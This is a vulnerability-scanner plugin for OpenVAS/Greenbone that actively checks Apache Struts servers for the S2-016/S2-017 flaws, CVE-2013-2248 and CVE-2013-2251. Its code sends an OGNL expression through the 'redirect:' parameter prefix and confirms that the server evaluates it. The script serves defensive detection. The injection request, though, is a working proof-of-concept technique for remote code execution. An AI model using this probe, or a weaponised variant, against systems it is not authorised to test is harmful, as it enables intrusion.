Apache Struts Security Update (S2-016, S2-017) - Multiple vulnerabilities in Apache Struts. Remote code execution and URL redirection attacks possible
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CPE = "cpe:/a:apache:struts";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.803838");
script_version("2024-07-17T05:05:38+0000");
script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
script_cve_id("CVE-2013-2248", "CVE-2013-2251");
script_tag(name:"cvss_base", value:"9.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:C/I:C/A:C");
script_tag(name:"last_modification", value:"2024-07-17 05:05:38 +0000 (Wed, 17 Jul 2024)");
script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2024-07-16 17:57:08 +0000 (Tue, 16 Jul 2024)");
script_tag(name:"creation_date", value:"2013-07-24 11:58:54 +0530 (Wed, 24 Jul 2013)");
script_name("Apache Struts Security Update (S2-016, S2-017) - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2013 Greenbone Networks GmbH");
script_family("Web application abuses");
script_dependencies("gb_apache_struts_consolidation.nasl");
script_require_ports("Services/www", 8080);
script_mandatory_keys("apache/struts/http/detected");
script_xref(name:"URL", value:"http://secunia.com/advisories/54118");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/61189");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/61196");
script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2013/Jul/157");
script_xref(name:"URL", value:"https://cwiki.apache.org/confluence/display/WW/S2-016");
script_xref(name:"URL", value:"https://cwiki.apache.org/confluence/display/WW/S2-017");
script_xref(name:"URL", value:"https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.1");
script_xref(name:"Advisory-ID", value:"S2-016");
script_xref(name:"Advisory-ID", value:"S2-017");
script_tag(name:"summary", value:"Apache Struts is prone to multiple vulnerabilities.");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the
response.");
script_tag(name:"insight", value:"The flaws exist due to an improper sanitation of
'action:', 'redirect:', and 'redirectAction:' prefixing parameters before being used in
DefaultActionMapper.");
script_tag(name:"impact", value:"Successful exploitation will allow remote attacker to
execute arbitrary arbitrary Java code via OGNL (Object-Graph Navigation Language) or
redirect user to a malicious url.");
script_tag(name:"affected", value:"Apache Struts 2.0.0 through 2.3.15.");
script_tag(name:"solution", value:"Update to version 2.3.15.1 or later.");
script_tag(name:"qod_type", value:"remote_vul");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");
if(!port = get_app_port(cpe:CPE, service:"www"))
exit(0);
if(!dir = get_app_location(cpe:CPE, port:port))
exit(0);
if(dir == "/")
dir = "";
dir += "/struts2-showcase";
res = http_get_cache(item:dir + "/showcase.action", port:port);
if(res && ">Struts2 Showcase<" >< res && ">Welcome!<" >< res) {
found_app = TRUE;
calc = make_list(2, 3);
foreach i(calc) {
url = dir + "/showcase.action?redirect%3A%25%7B" + i + "*5%7D";
req = http_get(item:url, port:port);
res = http_keepalive_send_recv(port:port, data:req);
if(res =~ "^HTTP/1\.[01] 302" && res =~ "Location:.*/([0-9]+)?") {
result = eregmatch(pattern:string(dir, "/([0-9]+)?"), string:res);
if(!result || result[1] >!< i * 5)
exit(99);
}
else
exit(99);
}
report = http_report_vuln_url(port:port, url:url);
security_message(port:port, data:report);
exit(0);
}
if(found_app)
exit(99);
else
exit(0);
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